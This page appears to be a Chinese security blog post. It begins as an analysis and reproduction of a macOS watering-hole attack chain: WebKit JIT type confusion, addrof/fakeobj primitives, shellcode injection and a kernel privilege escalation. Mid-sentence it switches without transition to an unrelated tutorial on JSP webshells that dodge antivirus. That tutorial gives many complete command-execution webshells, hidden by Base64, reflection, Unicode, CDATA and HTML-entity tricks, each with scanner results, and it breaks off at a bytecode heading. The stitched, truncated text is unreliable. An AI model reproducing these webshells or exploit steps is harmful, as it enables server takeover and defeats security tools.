MacOS 水坑攻击组合拳分析复现

渗透技巧 2年前 (2022) admin
774 0 0

点击 / 关注我们

概述

去年11月Google TAG发布了一篇[1]针对MacOS的水坑攻击调查报告,在红队的攻击几乎都以windows下的压缩包投毒为主的当下 能有一起针对Mac如此精良的攻击值得好好复盘分析

分析顺序

1、样本结构概览 2、webkit exp分析改造 3、shellcode分析 4、LPE 分析复现 5、端上行为表现

样本结构概览

整个样本的结构非常清晰,与P0大神Samuel Groß在JITSploitation[3]系列文章中公布的POC 十分接近

MacOS 水坑攻击组合拳分析复现
1.png

MacOS 水坑攻击组合拳分析复现
2.png

MacOS 水坑攻击组合拳分析复现
3.png

webkit exp分析改造

原EXP中因为一些定制化的操作如macho2shellcode,将2个入参的调用改造成5个, 二阶shellcode AES-128-EBC、TEA加密,中间样本缺失等原因想直接改造成可运行的poc有一些难度,因此考虑熟悉整体webkit攻击流程后 小幅度重写

webkit漏洞利用背景知识简述

首先webkit中两个非常重要的类型,JSValue和JSObject JSValue中存在一个编码表

true : 0x07
false : 0x06
undefined : 0x0a
null : 0x02
pointer : 0000
double : 0001 - fffe
integer : ffff

MacOS 水坑攻击组合拳分析复现
jsv_mark.png

JSObject
header : 32bits
structid : 32bits
butterfly : 64bits
inline properties : n * 64bits

MacOS 水坑攻击组合拳分析复现
JSObj.png

JSObject 主要两部分组成,JSCell 和 Butterfly JSCell 包含 header(type/flag等)的基础字段和 StructID 的随机字段用于安全防护 后面是一个Butterfly的字段,指向了具体存储的内容

JIT执行

LLInt(解释器) -> [语句超过100次/函数超过6次]baseline -> [1000/66] DFG -> FTL

到DFG层如果认为字段类型不会改变就会删除对类型的检查以提升效率,因此可能存在类型混淆

攻击样本中的相关内容

MacOS 水坑攻击组合拳分析复现
jit.png

比如将一个Object的类型放入Double 这时javascript引擎认为我们构造的Object对象是Double,Double类型会直接返回Butterfly指向的内存内容,而Object的Butterfly指向的内容是一个指针 这时就把一个指针当成Double返回了

用python可以把这个double转换成hex,或者hex转double

>>> import struct
>>> struct.pack("Q",4623716258932001341).encode('hex')
'3d0ad7a370bd2a40'

>>> struct.unpack("d","x3dx0axd7xa3x70xbdx2ax40")
(13.37,)

这时就实现了一个原始的addof原语 攻击样本中实现的addrof

MacOS 水坑攻击组合拳分析复现
addrof.png

另一个漏洞利用原语:fakeobj,基本是addrof的相反操作 把Double写入Object,这时javascript引擎认为我们构造的对象地址是Double(指针),因为Object可以任意构造,相当于实现了任意地址写入 攻击样本中实现的fakeobj

MacOS 水坑攻击组合拳分析复现
fakeobj.png

在实际的构造中,因为JSObject的JSCell也需要构造,因此把地址+0x10指向Butterfly,把JSCell也当成数据写入 这时有个问题是随机的StructID我们没办法预测,解决方案是使用StructureID喷射技术来预测StructureID,随机写一个StructID,然后不断在Object中添加内容就会撞到那个值 攻击样本中的实现

MacOS 水坑攻击组合拳分析复现
Structid.png

构造假JSCell 攻击样本中的实现

MacOS 水坑攻击组合拳分析复现
jscell.png

javascript引擎中存在box跟unbox的机制 比如

MacOS 水坑攻击组合拳分析复现
box.png

同样的内容在数组中被添加了Object对象之后就变了,增大了0x1000000000000 这个机制背后隐藏了一个更稳定易用的类型混淆,header中有bit位控制数组类型是ArrayWithDoubles还是ArrayWithContiguous,这也是一种Double跟Object的类型混淆

var outer = {
    cell_header: flags_arr_contiguous,
    butterfly: victim
};
f64[0] = addrof(outer)
u32[0] += 0x10 // 小技巧,实现了Add(addr,0x10);
var hax = fakeobj(f64[0]);

现在用fakeobj构造了一个完全受控的对象hax,他的butterfly指向了victim的对象地址

hax[0] => victim  metadata
hax[1] => victim  butterfly

这时候就可以随意修改victim的类型到底是ArrayWithDoubles还是ArrayWithContiguous

构造一个unbox

var unboxed = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37]

再构造一个boxed

var boxed = [{}];

hax[1] = unboxed //butterfly设置为unbox
var tmp_butterfly = victim[1]; //拿到butterfly
hax[1] = boxed //重置类型为boxed
victim[1] =  tmp_butterfly; //替换butterfly

现在box和unbox指向同一个butterfly

现在就有了一个新的 更稳定易用的类型混淆 在unbox设置为指针,从box读出来就是obj

unboxed[0] = 1.23e-45
var obj = boxed[0];

反过来也一样

boxed[0] = some_object
unboxed[0]

现在可以着手构造Read / Write 函数了

根据上面的构造

hax[0] => jscell_header
hax[1] => victim

butterfly之所以叫蝴蝶,是因为他指向的是一个结构的中间的位置

Property.|Property.| Length | Element 0 | Element 1 | Element 2
                                | --> Butterfly Pointer

所以x 存储在butterfly – 0x10

因此

read64 = function(where){
    hax[1] = Add(where,0x10);
    return victim.a;
}

反过来也一样

write64 = function (where, what) {
    hax[1] = Add(where,0x10);
    victim.= what;
}

完整的任意地址读写的函数已经构造完毕了 攻击样本中的相关实现

MacOS 水坑攻击组合拳分析复现
read_write.png

最后是从任意地址读写到任意代码执行 下图是Samuel Groß POC中的实现

MacOS 水坑攻击组合拳分析复现
execute.png

在mac上的实现相对简单,因为JIT区域有rwx权限,将shellcode写入调用就可以执行了 在ios上就相对困难,存在PAC、Gigacage之类的机制攻击样本中的实现

MacOS 水坑攻击组合拳分析复现
real_attack.png

经过上面的分析,POC的整体流程已经大概清晰了,理论上保留addrof / fakeobj 两个原语,利用部分替换成代码更规整的其他POC即可,但实际上遇到了各种问题比如不同版本的系统JIT等地址偏移不同等

经过了几轮测试,最后保留原POC的内容到memcpy为止,其他部分参考CVE-2020-9802的POC构造JIT function,嫁接成功

1、构造一个会被JIT优化的函数
2、利用addrof读取函数地址
3、通过函数地址的偏移找到executableBaseAddr
4、从executableBaseAddr的偏移找到jitCodeAddr
5、通过jitCodeAddr的地址得到rwx的内存
6、构造Uint8Array,将shellcode写到内存
7、覆盖rwx的地址为shellcode
8、运行新的JIT函数

剩下的是一些小的tips msf生成的shellcode转换成Uint32Array

var hex = '6a005f68001000005e6...'
var typedArray = new Uint8Array(hex.match(/[da-f]{2}/gi).map(function (h) {
 return parseInt(h, 16)
}))
var buffer = typedArray.buffer
var n = new Uint32Array(buffer)

构造成功截图

MacOS 水坑攻击组合拳分析复现
fx.jpg

shellcode分析

因为样本用了一种类似于macho2shellcode的技术,dump出来之后可以被识别为macho文件 使用nodejs把Uint32Array的shellcode写回raw

let shellcode8 = new Uint8Array(load_macho_mac.buffer);
const load_macho_mac = new Uint32Array(shellcode8.buffer);

let hex = Buffer.from(shellcode8);
var fs = require('fs');
fs.writeFile('./sc_raw',hex,{'flag':'a'},function(err){;});

MacOS 水坑攻击组合拳分析复现
sc.png

整个样本中用了大量xor的字符串混淆,完全不可读,而且dump出来的内容是无法正常执行的(替换了dlsym也不行),因此是无法动态调试的 Google的分析文档中有提到用了个简单的python脚本进行反混淆,但是并没有公开内容 想了下应该只能使用idapython或者仿真执行

只以图中这段混淆内容为例

1)idapython

addr = 0x100005030
by = []
while True:
    x += 1
    if idc.print_insn_mnem(addr) == 'mov' and idc.print_operand(addr,1).startswith('cs:byte_'):
        a0 = idc.get_operand_value(addr,1)
        a1 = ida_bytes.get_byte(a0)
    if idc.print_insn_mnem(addr) == 'xor':
        a2 = idc.get_operand_value(addr,1)
        idc.set_cmt(addr, str(hex(a1 ^ a2)), 0)
        by.append(a1 ^ a2)
        addr = ida_bytes.next_addr(addr)
        if addr >= 0x10000537E:
            break

2)flare_emu 但是其他的位置的解码操作海油取反之类的动作,且会从特定位置开始读取字符串,使用idapython太复杂了 flare_emu的仿真执行应该是一个更好的方式

import flare_emu
import hexdump
eh = flare_emu.EmuHelper()
eh.emulateRange(0x100005030, endAddr=0x10000537E, skipCalls=False)
= eh.getEmuBytes(0x1000143A0, 0x3b)
print(b)

将相关的内容解码之后整个代码的逻辑就非常清晰了

MacOS 水坑攻击组合拳分析复现
decode.png

之前用来增加难度的混淆逻辑,现在反倒成了执行的内容索引 基本的执行流程: 调用dlsym查找各种需要的函数地址 -> 发送网络请求下载下一阶段的载荷 -> AES + TEA 解码 -> 写文件落盘 -> 调用adjust_port_type -> 修改audit_token -> 构造xpc调用 -> 执行xattr -d com.apple.quarantine 绕过Gatekeeper -> kuncd加载执行最后payload

MacOS 水坑攻击组合拳分析复现
lct.png

LPE分析复现

参考zer0con21[5] 、mosec21[6] 与样本中的伪代码 基本捋顺了LPE的逻辑

MacOS 水坑攻击组合拳分析复现
adjust_port_type.png

漏洞原理简述: 在发送特殊的mach消息的时候,混淆了ipc_port和 ipc_importance_task_t 的类型 在ipc_importance_task_release的时候,会导致io_bits减小1

MacOS 水坑攻击组合拳分析复现
io_bit.png

因此可以把用户态可通信的IKOT_NAMED_ENTRY改成内核的IKOT_HOST_SECURITY以伪造自己的sec_toekn和audit_token 这个过程有点类似linux的cred结构体 或者从IKOT_HOST_SECURITY修改成IKOT_HOST_PRIV来给kuncd发送消息 作者原文中提到了7种利用方式,攻击代码中实现了其中的2种,以IKOT_HOST_SECURITY为例尝试复现adjust_port_type的部分结合作者文档中的截图与xnu开源代码中的prioritize_process_launch_helper.c -> send 函数可以复现 核心点在于构造launchd的token

MacOS 水坑攻击组合拳分析复现
token.png

audit_token 定义

audit_token.val[0] = my_cred->cr_audit.as_aia_p->ai_auid;
audit_token.val[1] = my_pcred->cr_uid;
audit_token.val[2] = my_pcred->cr_gid;
audit_token.val[3] = my_pcred->cr_ruid;
audit_token.val[4] = my_pcred->cr_rgid;
audit_token.val[5] = p->p_pid;
audit_token.val[6] = my_cred->cr_audit.as_aia_p->ai_asid;
audit_token.val[7] = p->p_idversion;

调用task_info检查是否利用成功# 内置函数免杀

原始webshell

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd);
    InputStream is = process.getInputStream();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
    String r = null;
    while((= bufferedReader.readLine())!=null){
        response.getWriter().println(r);
    }
%>

查杀的点在于Runtime.getRuntime().exec非常明显的特征

利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)

Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数,因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd),从而绕过正则表达式

MacOS 水坑攻击组合拳分析复现
1.png

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>


<%
  String cmd = request.getParameter("cmd");
  Process process = new ProcessBuilder(new String[]{cmd}).start();
  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((= bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

MacOS 水坑攻击组合拳分析复现
2.png

免杀效果

某狗:

MacOS 水坑攻击组合拳分析复现
3.png

某盾:

MacOS 水坑攻击组合拳分析复现
4.png

某马:

MacOS 水坑攻击组合拳分析复现
5.png

vt:

MacOS 水坑攻击组合拳分析复现
6.png

某度在线查杀:

MacOS 水坑攻击组合拳分析复现
7.png

可以看到这全部都免杀过了,就换了一个函数。

BeansExpression免杀

这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开,相当于一个对调函数。免杀效果一般,因为很多查杀都是直接匹配Runtime.getRuntime()

<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
  String cmd = request.getParameter("cmd");
  Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});

  Process process = (Process) expr.getValue();
  InputStream in = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
  String tmp = null;
  while((tmp = bufferedReader.readLine())!=null){
    response.getWriter().println(tmp);
  }
%>

查杀效果:

MacOS 水坑攻击组合拳分析复现
8.png

MacOS 水坑攻击组合拳分析复现
9.png

MacOS 水坑攻击组合拳分析复现
10.png

可以看到某狗已经查杀出来了。只能说效果很一般

编码免杀

Unicode编码

jsp支持unicode编码,如果杀软不支持unicode查杀的话,基本上都能绕过

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>

<%
  uuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu0063uuuu006duuuu0064uuuu0020uuuu003duuuu0020uuuu0072uuuu0065uuuu0071uuuu0075uuuu0065uuuu0073uuuu0074uuuu002euuuu0067uuuu0065uuuu0074uuuu0050uuuu0061uuuu0072uuuu0061uuuu006duuuu0065uuuu0074uuuu0065uuuu0072uuuu0028uuuu0022uuuu0063uuuu006duuuu0064uuuu0022uuuu0029uuuu003buuuu0050uuuu0072uuuu006fuuuu0063uuuu0065uuuu0073uuuu0073uuuu0020uuuu0070uuuu0072uuuu006fuuuu0063uuuu0065uuuu0073uuuu0073uuuu0020uuuu003duuuu0020uuuu0052uuuu0075uuuu006euuuu0074uuuu0069uuuu006duuuu0065uuuu002euuuu0067uuuu0065uuuu0074uuuu0052uuuu0075uuuu006euuuu0074uuuu0069uuuu006duuuu0065uuuu0028uuuu0029uuuu002euuuu0065uuuu0078uuuu0065uuuu0063uuuu0028uuuu0063uuuu006duuuu0064uuuu0029uuuu003buuuu0049uuuu006euuuu0070uuuu0075uuuu0074uuuu0053uuuu0074uuuu0072uuuu0065uuuu0061uuuu006duuuu0020uuuu0069uuuu0073uuuu0020uuuu003duuuu0020uuuu0070uuuu0072uuuu006fuuuu0063uuuu0065uuuu0073uuuu0073uuuu002euuuu0067uuuu0065uuuu0074uuuu0049uuuu006euuuu0070uuuu0075uuuu0074uuuu0053uuuu0074uuuu0072uuuu0065uuuu0061uuuu006duuuu0028uuuu0029uuuu003buuuu0042uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0020uuuu0062uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0020uuuu003duuuu0020uuuu006euuuu0065uuuu0077uuuu0020uuuu0042uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0028uuuu006euuuu0065uuuu0077uuuu0020uuuu0049uuuu006euuuu0070uuuu0075uuuu0074uuuu0053uuuu0074uuuu0072uuuu0065uuuu0061uuuu006duuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu0028uuuu0069uuuu0073uuuu0029uuuu0029uuuu003buuuu0053uuuu0074uuuu0072uuuu0069uuuu006euuuu0067uuuu0020uuuu0072uuuu0020uuuu003duuuu0020uuuu006euuuu0075uuuu006cuuuu006cuuuu003buuuu0077uuuu0068uuuu0069uuuu006cuuuu0065uuuu0028uuuu0028uuuu0072uuuu0020uuuu003duuuu0020uuuu0062uuuu0075uuuu0066uuuu0066uuuu0065uuuu0072uuuu0065uuuu0064uuuu0052uuuu0065uuuu0061uuuu0064uuuu0065uuuu0072uuuu002euuuu0072uuuu0065uuuu0061uuuu0064uuuu004cuuuu0069uuuu006euuuu0065uuuu0028uuuu0029uuuu0029uuuu0021uuuu003duuuu006euuuu0075uuuu006cuuuu006cuuuu0029uuuu007buuuu0072uuuu0065uuuu0073uuuu0070uuuu006fuuuu006euuuu0073uuuu0065uuuu002euuuu0067uuuu0065uuuu0074uuuu0057uuuu0072uuuu0069uuuu0074uuuu0065uuuu0072uuuu0028uuuu0029uuuu002euuuu0070uuuu0072uuuu0069uuuu006euuuu0074uuuu006cuuuu006euuuu0028uuuu0072uuuu0029uuuu003buuuu007d%>

注意这里的uuuu00可以换成uuuu00uuu…可以跟多个u达到绕过的效果

MacOS 水坑攻击组合拳分析复现
1.png

将代码(除page以及标签)进行unicode编码,并条件到<%%>标签中,即可执行webshell

在线unicode编码转换: https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

注意用此在线unicode编码后内容会存在 /ua ,需要手动删除,负责无法正常运行

MacOS 水坑攻击组合拳分析复现
2.png

可以看到依旧执行成功

查杀效果:

MacOS 水坑攻击组合拳分析复现
3.png

MacOS 水坑攻击组合拳分析复现
4.png

MacOS 水坑攻击组合拳分析复现
5.png

MacOS 水坑攻击组合拳分析复现
7.png

这个基本上是通杀了属实是,但由于特征过于明显,如果人工查杀的话,很容易被发现

CDATA特性

这里是要是利用jspx的进行进行免杀,jspx其实就是xml格式的jsp文件

在jspx中,可以利用jsp:scriptlet来代替<%%>

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>

<jsp:scriptlet>
  String cmd = request.getParameter("cmd");
  Process process = Runtime.getRuntime().exec(cmd);
  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>

MacOS 水坑攻击组合拳分析复现
8.png

当jsp:scriptlet被过滤时可以利用EL表达式,达到绕过的效果

${Runtime.getRuntime().exec(param.cmd)}

MacOS 水坑攻击组合拳分析复现
9.png

EL表达式的11个隐含对象

MacOS 水坑攻击组合拳分析复现
10.png

其他情况:

利用命令空间改名去绕过

<demo:root xmlns:bbb="http://java.sun.com/JSP/Page"  version="1.2">
<demo:scriptlet>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</demo:scriptlet>
</demo:root>

利用<jsp:expression>绕过
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page"  version="1.2">
   <jsp:expression>
   Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
   </jsp:expression>
</jsp:root>

以上是jsp的一些特性,下面开始正式讲解CDATA

MacOS 水坑攻击组合拳分析复现
11.png

说人话就是<![CDATA[与]]>只要能配对就相互抵消,其他不变,因此就可以说多了一个混淆的方式,有点类似多行注释在一行中使用(sql注入绕过waf),但是这个特征可以将关键字,函数进行分割,让其能混淆的空间变的更大

下面是用xml格式的jsp文件

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          version="2.0">
  <jsp:directive.page contentType="text/html"/>
  <jsp:scriptlet>
  String cmd = request.getParameter("cmd");
  Process process = Runtime.getRuntime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>
</jsp:root>

MacOS 水坑攻击组合拳分析复现
12.png

可以看到这里是能正常运行的,接下来文件使用CDATA进行混淆

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          version="2.0">
  <jsp:directive.page contentType="text/html"/>
  <jsp:scriptlet>
  String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
  Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
  java.io.InputStream is = process.getInputStream();
  java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
  String r = null;
  while((r = bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
</jsp:scriptlet>
</jsp:root>

MacOS 水坑攻击组合拳分析复现
13.png

依旧是能成功运行的,但是我们可以requst和Runtime这些类名都被插入了CDATA,从而消除了特征

免杀效果:

MacOS 水坑攻击组合拳分析复现
14.png

MacOS 水坑攻击组合拳分析复现
15.png

MacOS 水坑攻击组合拳分析复现
16.png

MacOS 水坑攻击组合拳分析复现
17.png

HTML编码

这里HTML编码免杀与jspx的特效有关,前面的CDATA设计到了jspx的相关知识,由此CDATA的免杀就在上文讲了

在XML里可以通过html实体编码来对特殊字符转义,jspx同样继承了该特性,由此jspx就具有识别html实体编码,接下来我们就利用上面的免杀马进行进一步的混淆

<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
          version="2.0">
  <jsp:directive.page contentType="text/html"/>
  <jsp:scriptlet>
  String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
  Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
&#x20;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x49;&#x6E;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6D;&#x20;&#x69;&#x73;&#x20;&#x3D;&#x20;&#x70;&#x72;&#x6F;&#x63;&#x65;&#x73;&#x73;&#x2E;&#x67;&#x65;&#x74;&#x49;&#x6E;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6D;&#x28;&#x29;&#x3B;
&#x20;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x42;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x20;&#x62;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x20;&#x3D;&#x20;&#x6E;&#x65;&#x77;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x42;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x6E;&#x65;&#x77;&#x20;&#x6A;&#x61;&#x76;&#x61;&#x2E;&#x69;&#x6F;&#x2E;&#x49;&#x6E;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6D;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x28;&#x69;&#x73;&#x29;&#x29;&#x3B;
&#x20;&#x20;&#x53;&#x74;&#x72;&#x69;&#x6E;&#x67;&#x20;&#x72;&#x20;&#x3D;&#x20;&#x6E;&#x75;&#x6C;&#x6C;&#x3B;
&#x20;&#x20;&#x77;&#x68;&#x69;&#x6C;&#x65;&#x28;&#x28;&#x72;&#x20;&#x3D;&#x20;&#x62;&#x75;&#x66;&#x66;&#x65;&#x72;&#x65;&#x64;&#x52;&#x65;&#x61;&#x64;&#x65;&#x72;&#x2E;&#x72;&#x65;&#x61;&#x64;&#x4C;&#x69;&#x6E;&#x65;&#x28;&#x29;&#x29;&#x21;&#x3D;&#x6E;&#x75;&#x6C;&#x6C;&#x29;&#x7B;
&#x20;&#x20;&#x20;&#x20;&#x72;&#x65;&#x73;&#x70;&#x6F;&#x6E;&#x73;&#x65;&#x2E;&#x67;&#x65;&#x74;&#x57;&#x72;&#x69;&#x74;&#x65;&#x72;&#x28;&#x29;&#x2E;&#x70;&#x72;&#x69;&#x6E;&#x74;&#x6C;&#x6E;&#x28;&#x72;&#x29;&#x3B;
&#x20;&#x20;&#x7D;
</jsp:scriptlet>
</jsp:root>

注意:含有CDATA的内容是不能进行html实体编码的,反之html实体编码后的内容也不能插入CDATA,否则无法执行

在线html实体编码: https://www.qqxiuzi.cn/bianma/zifushiti.php

MacOS 水坑攻击组合拳分析复现
18.png

可以看到依旧可以正常运行

反射免杀

本章主要讲解反射在webhell中的利用,以及反射绕过杀软的利用与原理

原始反射马

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

  String cmd = request.getParameter("cmd");

  Class<?> rt =Class.forName("java.lang.Runtime");
  Method runtimeMethod = rt.getMethod("getRuntime");
  Method method = rt.getMethod("exec", String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
  Process process = (Process) object;

  InputStream in = process.getInputStream();
  InputStreamReader resultReader = new InputStreamReader(in);
  BufferedReader stdInput = new BufferedReader(resultReader);
  String s = null;

  while ((= stdInput.readLine()) != null) {
    out.println(s);
  }
%>

免杀效果:

MacOS 水坑攻击组合拳分析复现
1.png

MacOS 水坑攻击组合拳分析复现
2.png

特征太明显里面还有java.lang.Runtime,getRuntime,exec这些敏感内容,由于与反射相关的参数都是字符串,由此我们能操作的空间就很大了。

利用base64加解密敏感内容

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
  Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

  Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
  Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
  Process process = (Process) object;

  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((= bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

免杀效果:

MacOS 水坑攻击组合拳分析复现
3.png

MacOS 水坑攻击组合拳分析复现
4.png

通过测试发现并非查杀的是与反射相关的所有函数,而是匹配是否存在getMethod函数,因此我们只需将getMethod改为getDeclaredMethod即可

getDeclaredMethod替换getMethod

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
  Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

  Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
  Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
  Process process = (Process) object;

  InputStream is = process.getInputStream();
  BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
  String r = null;
  while((= bufferedReader.readLine())!=null){
    response.getWriter().println(r);
  }
%>

MacOS 水坑攻击组合拳分析复现
5.png

可以看到正常运行

免杀效果:

MacOS 水坑攻击组合拳分析复现
6.png

MacOS 水坑攻击组合拳分析复现
7.png

可以看到某盾依旧查杀,经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀,这种情况下,笔者并未找到太好的办法,要么就这些不回显,要么就利用之前文章写的免杀技巧。

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

  String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
  Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

  Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
  Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
  Object object = method.invoke(runtimeMethod.invoke(null),cmd);
%>

免杀效果:

MacOS 水坑攻击组合拳分析复现
8.png

sun.net.

在sun.net.www.MimeLauncher中存在一个run方法,而该run方法存在命令执行漏洞

MacOS 水坑攻击组合拳分析复现
9.png

本来打算将MimeLauncher放到前面内置函数免杀那篇文章上讲,由于MimeLauncher无法直接使用,需要借助反射进行调用,因此就笔者就将MimeLauncher放在反射免杀后讲,及本章

<%@ page import="java.io.*" %>
<%@ page import="java.net.URLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="sun.net.www.MimeEntry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
    String cmd = request.getParameter("cmd");
    URLConnection urlConnection = new URL("http://127.0.0.1%s").openConnection();
    MimeEntry mimeEntry = new MimeEntry("naihe");
    Class meClass = MimeEntry.class;
    Field field = meClass.getDeclaredField("command");
    field.setAccessible(true);

    Field field2 = meClass.getDeclaredField("tempFileNameTemplate");
    field2.setAccessible(true);
    field2.set(mimeEntry,"naihe%s567");

    InputStream inputStream = new InputStream() {
        @Override
        public int read() throws IOException {
            return -1;
        }
    };

    Class mimeClass = Class.forName("sun.net.www.MimeLauncher");
    Constructor mimeCon = mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,
            InputStream.class,String.class,String.class);
    mimeCon.setAccessible(true);
    Thread thread = (Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0");
    Field field3 = mimeClass.getDeclaredField("execPath");
    field3.setAccessible(true);
    field3.set(thread,cmd);
    Method m = mimeClass.getDeclaredMethod("run");
    m.setAccessible(true);
    m.invoke(thread);
%>

MacOS 水坑攻击组合拳分析复现
10.png

类似MimeLauncher的类还有许多,适合大家去挖掘挖掘,利用时大概率会用到反射,就当练习练习反射相关的知识也是不错的选择

免杀效果:

MacOS 水坑攻击组合拳分析复现
11.png

MacOS 水坑攻击组合拳分析复现
13.png

字节码免杀

字节码生成

javac生成字节码

